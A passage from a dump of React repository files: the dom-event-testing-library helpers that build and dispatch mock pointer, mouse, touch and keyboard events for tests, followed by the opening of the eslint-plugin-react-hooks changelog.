testing\n * that the responses to those interactions account for the complex sequence of events that\n * browsers produce as a result.\n *\n * Every time a new pointer touches the surface a 'touchstart' event should be dispatched.\n * - 'changedTouches' contains the new touch.\n * - 'targetTouches' contains all the active pointers for the target.\n * - 'touches' contains all the active pointers on the surface.\n *\n * Every time an existing pointer moves a 'touchmove' event should be dispatched.\n * - 'changedTouches' contains the updated touch.\n *\n * Every time an existing pointer leaves the surface a 'touchend' event should be dispatched.\n * - 'changedTouches' contains the released touch.\n * - 'targetTouches' contains any of the remaining active pointers for the target.\n */\n\nexport function contextmenu(\n  target,\n  defaultPayload,\n  {pointerType = 'mouse', modified} = {},\n) {\n  const dispatch = arg => target.dispatchEvent(arg);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    pointerType,\n    ...defaultPayload,\n  };\n\n  const preventDefault = payload.preventDefault;\n\n  if (pointerType === 'touch') {\n    if (hasPointerEvent()) {\n      dispatch(\n        domEvents.pointerdown({\n          ...payload,\n          button: buttonType.primary,\n          buttons: buttonsType.primary,\n        }),\n      );\n    }\n    const touch = createTouch(target, payload);\n    touchStore.addTouch(touch);\n    const touchEventPayload = createTouchEventPayload(target, touch, payload);\n    dispatch(domEvents.touchstart(touchEventPayload));\n    dispatch(\n      domEvents.contextmenu({\n        button: buttonType.primary,\n        buttons: buttonsType.none,\n        preventDefault,\n      }),\n    );\n    touchStore.removeTouch(touch);\n  } else if (pointerType === 'mouse') {\n    if (modified === true) {\n      const button = buttonType.primary;\n      const buttons = buttonsType.primary;\n      const ctrlKey = true;\n      if (hasPointerEvent()) {\n        dispatch(\n          domEvents.pointerdown({button, buttons, ctrlKey, pointerType}),\n        );\n      }\n      dispatch(domEvents.mousedown({button, buttons, ctrlKey}));\n      if (platform.get() === 'mac') {\n        dispatch(\n          domEvents.contextmenu({button, buttons, ctrlKey, preventDefault}),\n        );\n      }\n    } else {\n      const button = buttonType.secondary;\n      const buttons = buttonsType.secondary;\n      if (hasPointerEvent()) {\n        dispatch(domEvents.pointerdown({button, buttons, pointerType}));\n      }\n      dispatch(domEvents.mousedown({button, buttons}));\n      dispatch(domEvents.contextmenu({button, buttons, preventDefault}));\n    }\n  }\n}\n\nexport function pointercancel(target, defaultPayload) {\n  const dispatchEvent = arg => target.dispatchEvent(arg);\n  const pointerType = getPointerType(defaultPayload);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    pointerType,\n    ...defaultPayload,\n  };\n\n  if (hasPointerEvent()) {\n    dispatchEvent(domEvents.pointercancel(payload));\n  } else {\n    if (pointerType === 'mouse') {\n      dispatchEvent(domEvents.dragstart(payload));\n    } else {\n      const touch = createTouch(target, payload);\n      touchStore.removeTouch(touch);\n      const touchEventPayload = createTouchEventPayload(target, touch, payload);\n      dispatchEvent(domEvents.touchcancel(touchEventPayload));\n    }\n  }\n}\n\nexport function pointerdown(target, defaultPayload) {\n  const dispatch = arg => target.dispatchEvent(arg);\n  const pointerType = getPointerType(defaultPayload);\n\n  const payload = {\n    button: buttonType.primary,\n    buttons: buttonsType.primary,\n    pointerId: defaultPointerId,\n    pointerType,\n    ...defaultPayload,\n  };\n\n  if (pointerType === 'mouse') {\n    if (hasPointerEvent()) {\n      dispatch(domEvents.pointerover(payload));\n      dispatch(domEvents.pointerenter(payload));\n    }\n    dispatch(domEvents.mouseover(payload));\n    dispatch(domEvents.mouseenter(payload));\n    if (hasPointerEvent()) {\n      dispatch(domEvents.pointerdown(payload));\n    }\n    dispatch(domEvents.mousedown(payload));\n    if (document.activeElement !== target) {\n      dispatch(domEvents.focus());\n    }\n  } else {\n    if (hasPointerEvent()) {\n      dispatch(domEvents.pointerover(payload));\n      dispatch(domEvents.pointerenter(payload));\n      dispatch(domEvents.pointerdown(payload));\n    }\n    const touch = createTouch(target, payload);\n    touchStore.addTouch(touch);\n    const touchEventPayload = createTouchEventPayload(target, touch, payload);\n    dispatch(domEvents.touchstart(touchEventPayload));\n    if (hasPointerEvent()) {\n      dispatch(domEvents.gotpointercapture(payload));\n    }\n  }\n}\n\nexport function pointerenter(target, defaultPayload) {\n  const dispatch = arg => target.dispatchEvent(arg);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    ...defaultPayload,\n  };\n\n  if (hasPointerEvent()) {\n    dispatch(domEvents.pointerover(payload));\n    dispatch(domEvents.pointerenter(payload));\n  }\n  dispatch(domEvents.mouseover(payload));\n  dispatch(domEvents.mouseenter(payload));\n}\n\nexport function pointerexit(target, defaultPayload) {\n  const dispatch = arg => target.dispatchEvent(arg);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    ...defaultPayload,\n  };\n\n  if (hasPointerEvent()) {\n    dispatch(domEvents.pointerout(payload));\n    dispatch(domEvents.pointerleave(payload));\n  }\n  dispatch(domEvents.mouseout(payload));\n  dispatch(domEvents.mouseleave(payload));\n}\n\nexport function pointerhover(target, defaultPayload) {\n  const dispatch = arg => target.dispatchEvent(arg);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    ...defaultPayload,\n  };\n\n  if (hasPointerEvent()) {\n    dispatch(domEvents.pointermove(payload));\n  }\n  dispatch(domEvents.mousemove(payload));\n}\n\nexport function pointermove(target, defaultPayload) {\n  const dispatch = arg => target.dispatchEvent(arg);\n  const pointerType = getPointerType(defaultPayload);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    pointerType,\n    ...defaultPayload,\n  };\n\n  if (hasPointerEvent()) {\n    dispatch(\n      domEvents.pointermove({\n        pressure: pointerType === 'touch' ? 1 : 0.5,\n        ...payload,\n      }),\n    );\n  } else {\n    if (pointerType === 'mouse') {\n      dispatch(domEvents.mousemove(payload));\n    } else {\n      const touch = createTouch(target, payload);\n      touchStore.updateTouch(touch);\n      const touchEventPayload = createTouchEventPayload(target, touch, payload);\n      dispatch(domEvents.touchmove(touchEventPayload));\n    }\n  }\n}\n\nexport function pointerup(target, defaultPayload) {\n  const dispatch = arg => target.dispatchEvent(arg);\n  const pointerType = getPointerType(defaultPayload);\n\n  const payload = {\n    pointerId: defaultPointerId,\n    pointerType,\n    ...defaultPayload,\n  };\n\n  if (pointerType === 'mouse') {\n    if (hasPointerEvent()) {\n      dispatch(domEvents.pointerup(payload));\n    }\n    dispatch(domEvents.mouseup(payload));\n    dispatch(domEvents.click(payload));\n  } else {\n    if (hasPointerEvent()) {\n      dispatch(domEvents.pointerup(payload));\n      dispatch(domEvents.lostpointercapture(payload));\n      dispatch(domEvents.pointerout(payload));\n      dispatch(domEvents.pointerleave(payload));\n    }\n    const touch = createTouch(target, payload);\n    touchStore.removeTouch(touch);\n    const touchEventPayload = createTouchEventPayload(target, touch, payload);\n    dispatch(domEvents.touchend(touchEventPayload));\n    dispatch(domEvents.mouseover(payload));\n    dispatch(domEvents.mousemove(payload));\n    dispatch(domEvents.mousedown(payload));\n    if (document.activeElement !== target) {\n      dispatch(domEvents.focus());\n    }\n    dispatch(domEvents.mouseup(payload));\n    dispatch(domEvents.click(payload));\n  }\n}\n\n/**\n * This function should be called after each test to ensure the touchStore is cleared\n * in cases where the mock pointers weren't released before the test completed\n * (e.g., a test failed or ran a partial gesture).\n */\nexport function resetActivePointers() {\n  touchStore.clear();\n}\n"
  },
  {
    "path": "packages/dom-event-testing-library/domEvents.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {\n  buttonType,\n  buttonsType,\n  defaultPointerSize,\n  defaultBrowserChromeSize,\n} from './constants';\n\n/**\n * Native event object mocks for higher-level events.\n *\n * 1. Each event type defines the exact object that it accepts. This ensures\n * that no arbitrary properties can be assigned to events, and the properties\n * that don't exist on specific event types (e.g., 'pointerType') are not added\n * to the respective native event.\n *\n * 2. Properties that cannot be relied on due to inconsistent browser support (e.g., 'x' and 'y') are not\n * added to the native event. Others that shouldn't be arbitrarily customized (e.g., 'screenX')\n * are automatically inferred from associated values.\n *\n * 3. PointerEvent and TouchEvent fields are normalized (e.g., 'rotationAngle' -> 'twist')\n */\n\nfunction emptyFunction() {}\n\nfunction createEvent(type, data = {}) {\n  const event = document.createEvent('CustomEvent');\n  event.initCustomEvent(type, true, true);\n  if (data != null) {\n    Object.keys(data).forEach(key => {\n      const value = data[key];\n      if (key === 'timeStamp' && !value) {\n        return;\n      }\n      Object.defineProperty(event, key, {value});\n    });\n  }\n  return event;\n}\n\nfunction createGetModifierState(keyArg, data) {\n  if (keyArg === 'Alt') {\n    return data.altKey || false;\n  }\n  if (keyArg === 'Control') {\n    return data.ctrlKey || false;\n  }\n  if (keyArg === 'Meta') {\n    return data.metaKey || false;\n  }\n  if (keyArg === 'Shift') {\n    return data.shiftKey || false;\n  }\n}\n\nfunction createPointerEvent(\n  type,\n  {\n    altKey = false,\n    button = buttonType.none,\n    buttons = buttonsType.none,\n    ctrlKey = false,\n    detail = 1,\n    height,\n    metaKey = false,\n    movementX = 0,\n    movementY = 0,\n    offsetX = 0,\n    offsetY = 0,\n    pageX,\n    pageY,\n    pointerId,\n    pressure = 0,\n    preventDefault = emptyFunction,\n    pointerType = 'mouse',\n    screenX,\n    screenY,\n    shiftKey = false,\n    tangentialPressure = 0,\n    tiltX = 0,\n    tiltY = 0,\n    timeStamp,\n    twist = 0,\n    width,\n    x = 0,\n    y = 0,\n  } = {},\n) {\n  const modifierState = {altKey, ctrlKey, metaKey, shiftKey};\n  const isMouse = pointerType === 'mouse';\n\n  return createEvent(type, {\n    altKey,\n    button,\n    buttons,\n    clientX: x,\n    clientY: y,\n    ctrlKey,\n    detail,\n    getModifierState(keyArg) {\n      return createGetModifierState(keyArg, modifierState);\n    },\n    height: isMouse ? 1 : height != null ? height : defaultPointerSize,\n    metaKey,\n    movementX,\n    movementY,\n    offsetX,\n    offsetY,\n    pageX: pageX || x,\n    pageY: pageY || y,\n    pointerId,\n    pointerType,\n    pressure,\n    preventDefault,\n    releasePointerCapture: emptyFunction,\n    screenX: screenX === 0 ? screenX : x,\n    screenY: screenY === 0 ? screenY : y + defaultBrowserChromeSize,\n    setPointerCapture: emptyFunction,\n    shiftKey,\n    tangentialPressure,\n    tiltX,\n    tiltY,\n    timeStamp,\n    twist,\n    width: isMouse ? 1 : width != null ? width : defaultPointerSize,\n  });\n}\n\nfunction createKeyboardEvent(\n  type,\n  {\n    altKey = false,\n    ctrlKey = false,\n    isComposing = false,\n    key = '',\n    metaKey = false,\n    preventDefault = emptyFunction,\n    shiftKey = false,\n  } = {},\n) {\n  const modifierState = {altKey, ctrlKey, metaKey, shiftKey};\n\n  return createEvent(type, {\n    altKey,\n    ctrlKey,\n    getModifierState(keyArg) {\n      return createGetModifierState(keyArg, modifierState);\n    },\n    isComposing,\n    key,\n    metaKey,\n    preventDefault,\n    shiftKey,\n  });\n}\n\nfunction createMouseEvent(\n  type,\n  {\n    altKey = false,\n    button = buttonType.none,\n    buttons = buttonsType.none,\n    ctrlKey = false,\n    detail = 1,\n    metaKey = false,\n    movementX = 0,\n    movementY = 0,\n    offsetX = 0,\n    offsetY = 0,\n    pageX,\n    pageY,\n    preventDefault = emptyFunction,\n    screenX,\n    screenY,\n    shiftKey = false,\n    timeStamp,\n    x = 0,\n    y = 0,\n  } = {},\n) {\n  const modifierState = {altKey, ctrlKey, metaKey, shiftKey};\n\n  return createEvent(type, {\n    altKey,\n    button,\n    buttons,\n    clientX: x,\n    clientY: y,\n    ctrlKey,\n    detail,\n    getModifierState(keyArg) {\n      return createGetModifierState(keyArg, modifierState);\n    },\n    metaKey,\n    movementX,\n    movementY,\n    offsetX,\n    offsetY,\n    pageX: pageX || x,\n    pageY: pageY || y,\n    preventDefault,\n    screenX: screenX === 0 ? screenX : x,\n    screenY: screenY === 0 ? screenY : y + defaultBrowserChromeSize,\n    shiftKey,\n    timeStamp,\n  });\n}\n\nfunction createTouchEvent(type, payload) {\n  return createEvent(type, {\n    ...payload,\n    detail: 0,\n    sourceCapabilities: {\n      firesTouchEvents: true,\n    },\n  });\n}\n\n/**\n * Mock event objects\n */\n\nexport function blur({relatedTarget} = {}) {\n  return new FocusEvent('blur', {relatedTarget});\n}\n\nexport function focusOut({relatedTarget} = {}) {\n  return new FocusEvent('focusout', {relatedTarget, bubbles: true});\n}\n\nexport function click(payload) {\n  return createMouseEvent('click', {\n    button: buttonType.primary,\n    ...payload,\n  });\n}\n\nexport function contextmenu(payload) {\n  return createMouseEvent('contextmenu', {\n    ...payload,\n    detail: 0,\n  });\n}\n\nexport function dragstart(payload) {\n  return createMouseEvent('dragstart', {\n    ...payload,\n    detail: 0,\n  });\n}\n\nexport function focus({relatedTarget} = {}) {\n  return new FocusEvent('focus', {relatedTarget});\n}\n\nexport function focusIn({relatedTarget} = {}) {\n  return new FocusEvent('focusin', {relatedTarget, bubbles: true});\n}\n\nexport function scroll() {\n  return createEvent('scroll');\n}\n\nexport function virtualclick(payload) {\n  return createMouseEvent('click', {\n    button: 0,\n    ...payload,\n    buttons: 0,\n    detail: 0,\n    height: 1,\n    pageX: 0,\n    pageY: 0,\n    pressure: 0,\n    screenX: 0,\n    screenY: 0,\n    width: 1,\n    x: 0,\n    y: 0,\n  });\n}\n\n/**\n * Key events\n */\n\nexport function keydown(payload) {\n  return createKeyboardEvent('keydown', payload);\n}\n\nexport function keyup(payload) {\n  return createKeyboardEvent('keyup', payload);\n}\n\n/**\n * Pointer events\n */\n\nexport function gotpointercapture(payload) {\n  return createPointerEvent('gotpointercapture', payload);\n}\n\nexport function lostpointercapture(payload) {\n  return createPointerEvent('lostpointercapture', payload);\n}\n\nexport function pointercancel(payload) {\n  return createPointerEvent('pointercancel', {\n    ...payload,\n    buttons: 0,\n    detail: 0,\n    height: 1,\n    pageX: 0,\n    pageY: 0,\n    pressure: 0,\n    screenX: 0,\n    screenY: 0,\n    width: 1,\n    x: 0,\n    y: 0,\n  });\n}\n\nexport function pointerdown(payload) {\n  const isTouch = payload != null && payload.pointerType === 'touch';\n  return createPointerEvent('pointerdown', {\n    button: buttonType.primary,\n    buttons: buttonsType.primary,\n    pressure: isTouch ? 1 : 0.5,\n    ...payload,\n  });\n}\n\nexport function pointerenter(payload) {\n  return createPointerEvent('pointerenter', payload);\n}\n\nexport function pointerleave(payload) {\n  return createPointerEvent('pointerleave', payload);\n}\n\nexport function pointermove(payload) {\n  return createPointerEvent('pointermove', {\n    ...payload,\n    button: buttonType.none,\n  });\n}\n\nexport function pointerout(payload) {\n  return createPointerEvent('pointerout', payload);\n}\n\nexport function pointerover(payload) {\n  return createPointerEvent('pointerover', payload);\n}\n\nexport function pointerup(payload) {\n  return createPointerEvent('pointerup', {\n    button: buttonType.primary,\n    ...payload,\n    buttons: buttonsType.none,\n    pressure: 0,\n  });\n}\n\n/**\n * Mouse events\n */\n\nexport function mousedown(payload) {\n  // The value of 'button' and 'buttons' for 'mousedown' must not be none.\n  const button =\n    payload == null || payload.button === buttonType.none\n      ? buttonType.primary\n      : payload.button;\n  const buttons =\n    payload == null || payload.buttons === buttonsType.none\n      ? buttonsType.primary\n      : payload.buttons;\n  return createMouseEvent('mousedown', {\n    ...payload,\n    button,\n    buttons,\n  });\n}\n\nexport function mouseenter(payload) {\n  return createMouseEvent('mouseenter', payload);\n}\n\nexport function mouseleave(payload) {\n  return createMouseEvent('mouseleave', payload);\n}\n\nexport function mousemove(payload) {\n  return createMouseEvent('mousemove', payload);\n}\n\nexport function mouseout(payload) {\n  return createMouseEvent('mouseout', payload);\n}\n\nexport function mouseover(payload) {\n  return createMouseEvent('mouseover', payload);\n}\n\nexport function mouseup(payload) {\n  return createMouseEvent('mouseup', {\n    button: buttonType.primary,\n    ...payload,\n    buttons: buttonsType.none,\n  });\n}\n\n/**\n * Touch events\n */\n\nexport function touchcancel(payload) {\n  return createTouchEvent('touchcancel', payload);\n}\n\nexport function touchend(payload) {\n  return createTouchEvent('touchend', payload);\n}\n\nexport function touchmove(payload) {\n  return createTouchEvent('touchmove', payload);\n}\n\nexport function touchstart(payload) {\n  return createTouchEvent('touchstart', payload);\n}\n"
  },
  {
    "path": "packages/dom-event-testing-library/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {buttonType, buttonsType} from './constants';\nimport * as domEvents from './domEvents';\nimport * as domEventSequences from './domEventSequences';\nimport {hasPointerEvent, setPointerEvent, platform} from './domEnvironment';\nimport {describeWithPointerEvent, testWithPointerType} from './testHelpers';\n\nconst createEventTarget = node => ({\n  node,\n  /**\n   * Simple events abstraction.\n   */\n  blur(payload) {\n    node.dispatchEvent(domEvents.blur(payload));\n    node.dispatchEvent(domEvents.focusOut(payload));\n  },\n  click(payload) {\n    node.dispatchEvent(domEvents.click(payload));\n  },\n  focus(payload) {\n    node.dispatchEvent(domEvents.focus(payload));\n    node.dispatchEvent(domEvents.focusIn(payload));\n    node.focus();\n  },\n  keydown(payload) {\n    node.dispatchEvent(domEvents.keydown(payload));\n  },\n  keyup(payload) {\n    node.dispatchEvent(domEvents.keyup(payload));\n  },\n  scroll(payload) {\n    node.dispatchEvent(domEvents.scroll(payload));\n  },\n  virtualclick(payload) {\n    node.dispatchEvent(domEvents.virtualclick(payload));\n  },\n  /**\n   * PointerEvent abstraction.\n   * Dispatches the expected sequence of PointerEvents, MouseEvents, and\n   * TouchEvents for a given environment.\n   */\n  contextmenu(payload, options) {\n    domEventSequences.contextmenu(node, payload, options);\n  },\n  // node no longer receives events for the pointer\n  pointercancel(payload) {\n    domEventSequences.pointercancel(node, payload);\n  },\n  // node dispatches down events\n  pointerdown(payload) {\n    domEventSequences.pointerdown(node, payload);\n  },\n  // node dispatches move events (pointer is not down)\n  pointerhover(payload) {\n    domEventSequences.pointerhover(node, payload);\n  },\n  // node dispatches move events (pointer is down)\n  pointermove(payload) {\n    domEventSequences.pointermove(node, payload);\n  },\n  // node dispatches enter & over events\n  pointerenter(payload) {\n    domEventSequences.pointerenter(node, payload);\n  },\n  // node dispatches exit & leave events\n  pointerexit(payload) {\n    domEventSequences.pointerexit(node, payload);\n  },\n  // node dispatches up events\n  pointerup(payload) {\n    domEventSequences.pointerup(node, payload);\n  },\n  /**\n   * Gesture abstractions.\n   * Helpers for event sequences expected in a gesture.\n   * target.tap({ pointerType: 'touch' })\n   */\n  tap(payload) {\n    domEventSequences.pointerdown(payload);\n    domEventSequences.pointerup(payload);\n  },\n  /**\n   * Utilities\n   */\n  setBoundingClientRect({x, y, width, height}) {\n    node.getBoundingClientRect = function () {\n      return {\n        width,\n        height,\n        left: x,\n        right: x + width,\n        top: y,\n        bottom: y + height,\n      };\n    };\n  },\n});\n\nconst resetActivePointers = domEventSequences.resetActivePointers;\n\nexport {\n  buttonType,\n  buttonsType,\n  createEventTarget,\n  describeWithPointerEvent,\n  platform,\n  hasPointerEvent,\n  resetActivePointers,\n  setPointerEvent,\n  testWithPointerType,\n};\n"
  },
  {
    "path": "packages/dom-event-testing-library/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"dom-event-testing-library\",\n  \"version\": \"0.0.0\"\n}\n"
  },
  {
    "path": "packages/dom-event-testing-library/testHelpers.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {hasPointerEvent, setPointerEvent} from './domEnvironment';\n\nexport function describeWithPointerEvent(message, describeFn) {\n  const pointerEvent = 'PointerEvent';\n  const fallback = 'MouseEvent/TouchEvent';\n  describe.each`\n    value    | name\n    ${true}  | ${pointerEvent}\n    ${false} | ${fallback}\n  `(`${message}: $name`, entry => {\n    const hasPointerEvents = entry.value;\n    setPointerEvent(hasPointerEvents);\n    describeFn(hasPointerEvents);\n  });\n}\n\nexport function testWithPointerType(message, testFn) {\n  const table = hasPointerEvent()\n    ? ['mouse', 'touch', 'pen']\n    : ['mouse', 'touch'];\n  test.each(table)(`${message}: %s`, pointerType => {\n    testFn(pointerType);\n  });\n}\n"
  },
  {
    "path": "packages/dom-event-testing-library/touchStore.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n/**\n * Touch events state machine.\n *\n * Keeps track of the active pointers and allows them to be reflected in touch events.\n */\n\nconst activeTouches = new Map();\n\nexport function addTouch(touch) {\n  const identifier = touch.identifier;\n  const target = touch.target;\n  if (!activeTouches.has(target)) {\n    activeTouches.set(target, new Map());\n  }\n  if (activeTouches.get(target).get(identifier)) {\n    // Do not allow existing touches to be overwritten\n    console.error(\n      'Touch with identifier %s already exists. Did not record touch start.',\n      identifier,\n    );\n  } else {\n    activeTouches.get(target).set(identifier, touch);\n  }\n}\n\nexport function updateTouch(touch) {\n  const identifier = touch.identifier;\n  const target = touch.target;\n  if (activeTouches.get(target) != null) {\n    activeTouches.get(target).set(identifier, touch);\n  } else {\n    console.error(\n      'Touch with identifier %s does not exist. Cannot record touch move without a touch start.',\n      identifier,\n    );\n  }\n}\n\nexport function removeTouch(touch) {\n  const identifier = touch.identifier;\n  const target = touch.target;\n  if (activeTouches.get(target) != null) {\n    if (activeTouches.get(target).has(identifier)) {\n      activeTouches.get(target).delete(identifier);\n    } else {\n      console.error(\n        'Touch with identifier %s does not exist. Cannot record touch end without a touch start.',\n        identifier,\n      );\n    }\n  }\n}\n\nexport function getTouches() {\n  const touches = [];\n  activeTouches.forEach((_, target) => {\n    touches.push(...getTargetTouches(target));\n  });\n  return touches;\n}\n\nexport function getTargetTouches(target) {\n  if (activeTouches.get(target) != null) {\n    return Array.from(activeTouches.get(target).values());\n  }\n  return [];\n}\n\nexport function clear() {\n  activeTouches.clear();\n}\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/CHANGELOG.md",
    "content": "## 7.0.1\n\n- Disallowed passing inline `useEffectEvent` values as JSX props to guard against accidental propagation. ([#34820](https://github.com/facebook/react/pull/34820) by [@jf-eirinha](https://github.com/jf-eirinha))\n- Switch to `export =` so eslint-plugin-react-hooks emits correct types for consumers in Node16 ESM projects. ([#34949](https://github.com/facebook/react/pull/34949) by [@karlhorky](https://github.com/karlhorky))\n- Tightened the typing of `configs.flat` so the `configs` export is always defined. ([#34950](https://github.com/facebook/react/pull/34950) by [@poteto](https://github.com/poteto))\n- Fix named import runtime errors. ([#34951](https://github.com/facebook/react/pull/34951), [#34953](https://github.com/facebook/react/pull/34953) by [@karlhorky](https://github.com/karlhorky))\n\n## 7.0.0\n\nThis release slims down presets to just 2 configurations (`recommended` and `recommended-latest`), and all compiler rules are enabled by default.\n\n- **Breaking:** Removed `recommended-latest-legacy` and `flat/recommended` configs. The plugin now provides `recommended` (legacy and flat configs with all recommended rules),  and `recommended-latest` (legacy and flat configs with all recommended rules plus new bleeding edge experimental compiler rules). ([@poteto](https://github.com/poteto) in [#34757](https://github.com/facebook/react/pull/34757))\n\n## 6.1.1\n\n**Note:** 6.1.0 accidentally allowed use of `recommended` without flat config, causing errors when used with ESLint v9's `defineConfig()` helper. This has been fixed in 6.1.1.\n\n- Fix `recommended` config for flat config compatibility. The `recommended` config has been converted to flat config format. Non-flat config users should use `recommended-legacy` instead. ([@poteto](https://github.com/poteto) in [#34700](https://github.com/facebook/react/pull/34700))\n- Add `recommended-latest` and `recommended-latest-legacy` configs that include React Compiler rules. ([@poteto](https://github.com/poteto) in [#34675](https://github.com/facebook/react/pull/34675))\n- Remove unused `NoUnusedOptOutDirectives` rule. ([@poteto](https://github.com/poteto) in [#34703](https://github.com/facebook/react/pull/34703))\n- Remove `hermes-parser` and dependency. ([@poteto](https://github.com/poteto) in [#34719](https://github.com/facebook/react/pull/34719))\n- Remove `@babel/plugin-proposal-private-methods` dependency. ([@ArnaudBarre](https://github.com/ArnaudBarre) and [@josephsavona](https://github.com/josephsavona) in [#34715](https://github.com/facebook/react/pull/34715))\n- Update for Zod v3/v4 compatibility. ([@kolian](https://github.com/kolvian) and [@josephsavona](https://github.com/josephsavona) in [#34717](https://github.com/facebook/react/pull/34717))\n\n## 6.1.0\n\n**Note:** Version 6.0.0 was mistakenly released and immediately deprecated and untagged on npm. This is the first official 6.x major release and includes breaking changes.\n\n- **Breaking:** Require Node.js 18 or newer. ([@michaelfaith](https://github.com/michaelfaith) in [#32458](https://github.com/facebook/react/pull/32458))\n- **Breaking:** Flat config is now the default `recommended` preset. Legacy config moved to `recommended-legacy`. ([@michaelfaith](https://github.com/michaelfaith) in [#32457](https://github.com/facebook/react/pull/32457))\n- **New Violations:** Disallow calling `use` within try/catch blocks. ([@poteto](https://github.com/poteto) in [#34040](https://github.com/facebook/react/pull/34040))\n- **New Violations:** Disallow calling `useEffectEvent` functions in arbitrary closures. ([@jbrown215](https://github.com/jbrown215) in [#33544](https://github.com/facebook/react/pull/33544))\n- Handle `React.useEffect` in addition to `useEffect` in rules-of-hooks. ([@Ayc0](https://github.com/Ayc0) in [#34076](https://github.com/facebook/react/pull/34076))\n- Added `react-hooks` settings config option that to accept `additionalEffectHooks` that are used across exhaustive-deps and rules-of-hooks rules. ([@jbrown215](https://github.com/jbrown215)) in [#34497](https://github.com/facebook/react/pull/34497)\n\n## 6.0.0\n\nAccidentally released. See 6.1.0 for the actual changes.\n\n## 5.2.0\n\n- Support flat config ([@michaelfaith](https://github.com/michaelfaith) in [#30774](https://github.com/facebook/react/pull/30774))\n- Convert the plugin to TypeScript and provide package type declarations ([@michaelfaith](https://github.com/michaelfaith) in [#32279](https://github.com/facebook/react/pull/32279), [#32283](https://github.com/facebook/react/pull/32283), [#32240](https://github.com/facebook/react/pull/32240), [#32400](https://github.com/facebook/react/pull/32400) and [@poteto](https://github.com/poteto) in [#32420](https://github.com/facebook/react/pull/32420))\n- Fix false positive error in components with `do`/`while` loops ([@tyxla](https://github.com/tyxla) in [#31720](https://github.com/facebook/react/pull/31720))\n- Detect issues in class properties ([@mjesun](https://github.com/mjesun) & [@ecraig12345](https://github.com/ecraig12345) in [#31823](https://github.com/facebook/react/pull/31823))\n\n## 5.1.0\n\n- Add support for `do`/`while` loops ([@tyxla](https://github.com/tyxla) in [#28714](https://github.com/facebook/react/pull/28714))\n- Fix error when callback argument is an identifier with an `as` expression ([@mskelton](https://github.com/mskelton) in [#31119](https://github.com/facebook/react/pull/31119))\n\n## 5.0.0\n\n* **New Violations:** Component names now need to start with an uppercase letter instead of a non-lowercase letter. This means `_Button` or `_component` are no longer valid. ([@kassens](https://github.com/kassens)) in [#25162](https://github.com/facebook/react/pull/25162)\n\n- Consider dispatch from `useActionState` stable. ([@eps1lon](https://github.com/eps1lon) in [#29665](https://github.com/facebook/react/pull/29665))\n- Add support for ESLint v9. ([@eps1lon](https://github.com/eps1lon) in [#28773](https://github.com/facebook/react/pull/28773))\n- Accept `as` expression in callback. ([@StyleShit](https://github.com/StyleShit) in [#28202](https://github.com/facebook/react/pull/28202))\n- Accept `as` expressions in deps array. ([@StyleShit](https://github.com/StyleShit) in [#28189](https://github.com/facebook/react/pull/28189))\n- Treat `React.use()` the same as `use()`. ([@kassens](https://github.com/kassens) in [#27769](https://github.com/facebook/react/pull/27769))\n- Move `use()` lint to non-experimental. ([@kassens](https://github.com/kassens) in [#27768](https://github.com/facebook/react/pull/27768))\n- Support Flow `as` expressions. ([@cpojer](https://github.com/cpojer) in [#27590](https://github.com/facebook/react/pull/27590))\n- Allow `useEffect(fn, undefined)`. ([@kassens](https://github.com/kassens) in [#27525](https://github.com/facebook/react/pull/27525))\n- Disallow hooks in async functions. ([@acdlite](https://github.com/acdlite) in [#27045](https://github.com/facebook/react/pull/27045))\n- Rename experimental `useEvent` to `useEffectEvent`. ([@sebmarkbage](https://github.com/sebmarkbage) in [#25881](https://github.com/facebook/react/pull/25881))\n- Lint for presence of `useEvent` functions in dependency lists. ([@poteto](https://github.com/poteto) in [#25512](https://github.com/facebook/react/pull/25512))\n- Check `useEvent` references instead. ([@poteto](https://github.com/poteto) in [#25319](https://github.com/facebook/react/pull/25319))\n- Update `RulesOfHooks` with `useEvent` rules. ([@poteto](https://github.com/poteto) in [#25285](https://github.com/facebook/react/pull/25285))\n\n## 4.6.0\n\n## 4.5.0\n\n* Fix false positive error with large number of branches. ([@scyron6](https://github.com/scyron6) in [#24287](https://github.com/facebook/react/pull/24287))\n\n## 4.4.0\n\n* No changes, this was an automated release together with React 18.\n\n## 4.3.0\n\n* Support ESLint 8. ([@MichaelDeBoey](https://github.com/MichaelDeBoey) in [#22248](https://github.com/facebook/react/pull/22248))\n* Fix a crash with an empty effect. ([@ChrisRu](https://github.com/ChrisRu) in [#20385](https://github.com/facebook/react/pull/20385))\n* Improve the error message. ([@callmetwan](https://github.com/callmetwan) in [#20692](https://github.com/facebook/react/pull/20692))\n* Handle optional chained methods as dependency. ([@AriPerkkio](https://github.com/AriPerkkio) in [#20247](https://github.com/facebook/react/pull/20247))\n* Assume the new `useTransition` signature in the rule. ([@rickhanlonii](https://github.com/rickhanlonii) in [#20976](https://github.com/facebook/react/pull/20976))\n\n## 4.2.0\n\n* No changes, this was an automated release together with React 17.\n\n## 4.1.2\n* Fix a crash with the TypeScript 4.x parser. ([@eps1lon](https://github.com/eps1lon) in [#19815](https://github.com/facebook/react/pull/19815))\n\n## 4.1.1\n* Improve support for optional chaining. ([@pfongkye](https://github.com/pfongkye) in [#19680](https://github.com/facebook/react/pull/19680))\n* Fix a false positive warning for TypeScript parameters. ([@NeoRaider](https://github.com/NeoRaider) in [#19751](https://github.com/facebook/react/pull/19751))\n\n## 